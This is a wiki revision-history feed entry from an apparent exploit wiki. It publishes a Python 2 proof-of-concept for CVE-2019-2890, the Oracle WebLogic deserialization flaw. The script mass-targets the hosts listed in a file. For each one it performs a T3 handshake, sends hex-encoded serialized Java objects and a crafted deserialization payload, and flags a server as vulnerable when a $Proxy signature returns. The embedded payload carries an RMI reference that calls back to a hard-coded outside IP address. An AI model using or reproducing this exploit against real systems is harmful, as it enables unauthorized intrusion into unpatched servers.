https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2019-2890_Oracle_WebLogic_%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E 2026-04-08T04:17:51Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=CVE-2019-2890_Oracle_WebLogic_%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E&diff=1877&oldid=prev 2021-04-23T00:54:49Z

<p>建立內容為「==POC== &lt;pre&gt; #!/usr/bin/python # -*- coding: utf-8 -*- # 2019-10-17 8:45 import socket import time import re import sys timeout = int(sys.argv[1]) VUL=[&#039;CVE-20…」的新頁面</p> <p><b>New page</b></p><div>==POC==<br /> &lt;pre&gt;<br /> #!/usr/bin/python<br /> # -*- coding: utf-8 -*-<br /> # 2019-10-17 8:45<br /> <br /> import socket<br /> import time<br /> import re<br /> import sys<br /> <br /> timeout = int(sys.argv[1])<br /> VUL=['CVE-2019-2890']<br /> PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']<br /> VER_SIG=['\\$Proxy[0-9]+']<br /> vul_no = []<br /> vul_yes = []<br /> vul_more_test = []<br /> <br /> def t3handshake(sock,server_addr):<br /> print '正在连接服务器...'<br /> sock.connect(server_addr)<br /> sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))<br /> time.sleep(1)<br /> sock.recv(1024)<br /> <br /> <br /> def buildT3RequestObject(sock,port,server_addr):<br /> print '%s:%d连接成功，正在发送请求...' %(server_addr[0],server_addr[1])<br /> data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'<br /> data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))<br /> data3 = '1a7727000d3234322e323134'<br /> data4 = '2e312e32353461863d1d0000000078'<br /> for d in [data1,data2,data3,data4]:<br /> sock.send(d.decode('hex'))<br /> time.sleep(2)<br /> lendate = len(sock.recv(2048))<br /> print '发送有效载荷请求成功,接收长度:%d'%(lendate)<br /> return lendate<br /> <br /> def sendEvilObjData(sock,data,lendate):<br /> print '正在执行载荷，请稍等...'<br /> payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'<br /> payload+=data<br /> payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'<br /> payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)<br /> sock.send(payload.decode('hex'))<br /> time.sleep(2)<br /> sock.send(payload.decode('hex'))<br /> res = ''<br /> start = time.time()<br /> try:<br /> while True:<br /> res += sock.recv(4096)<br /> time.sleep(0.1)<br /> end =time.time()<br /> timeend = end-start<br /> if lendate == 0 and timeend &gt; timeout:<br /> break<br /> except Exception as e:<br /> pass<br /> return res<br /> <br /> def checkVul(res,server_addr,index):<br /> print '执行结果：'<br /> p=re.findall(VER_SIG[index], res, re.S)<br /> if len(p)&gt;0:<br /> print '%s:%d 存在 %s 漏洞。'%(server_addr[0],server_addr[1],VUL[index])<br /> vul_yes.append(server_addr)<br /> else:<br /> print '%s:%d 不存在 %s 漏洞。' % (server_addr[0],server_addr[1],VUL[index])<br /> print '[+] You look like Cai Xukun when you play basketball'<br /> vul_no.append(server_addr)<br /> <br /> <br /> def run(index):<br /> with open(&quot;url.txt&quot;,'r') as lists:<br /> for server_addr in lists:<br /> server_addr=server_addr.strip('\n\r')<br /> dip=server_addr.split(':')[0]<br /> global dport<br /> dport=int(server_addr.split(':')[1])<br /> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br /> sock.settimeout(15)<br /> server_addr = (dip, dport)<br /> try:<br /> t3handshake(sock,server_addr)<br /> except Exception as e:<br /> print '%s:%d连接失败，请检查IP是否存活...' %(server_addr[0],server_addr[1])<br /> else:<br /> try:<br /> lendate = buildT3RequestObject(sock,dport,server_addr)<br /> rs=sendEvilObjData(sock,PAYLOAD[index],lendate)<br /> # print 'rs',rs<br /> except Exception as e:<br /> print '%s:%d请求频繁，请稍后自行单独测试...' %(server_addr[0],server_addr[1])<br /> vul_more_test.append(server_addr)<br /> else:<br /> checkVul(rs,server_addr,index)<br /> finally:<br /> sock.close()<br /> <br /> print '='*50<br /> print '检测完成！'<br /> print '以下IP存在CVE-2019-2890漏洞：'<br /> for yes in vul_yes:<br /> print '%s:%s' % (yes[0],yes[1])<br /> print '='*50<br /> print '以下IP不存在漏洞：'<br /> for no in vul_no:<br /> print '%s:%s' % (no[0],no[1])<br /> print '='*50<br /> print '以下IP请求频繁，需单独自行测试：'<br /> for more in vul_more_test:<br /> print '%s:%s' % (more[0],more[1])<br /> print '='*50<br /> <br /> <br /> if __name__==&quot;__main__&quot;:<br /> run(0)<br /> &lt;/pre&gt;</div>

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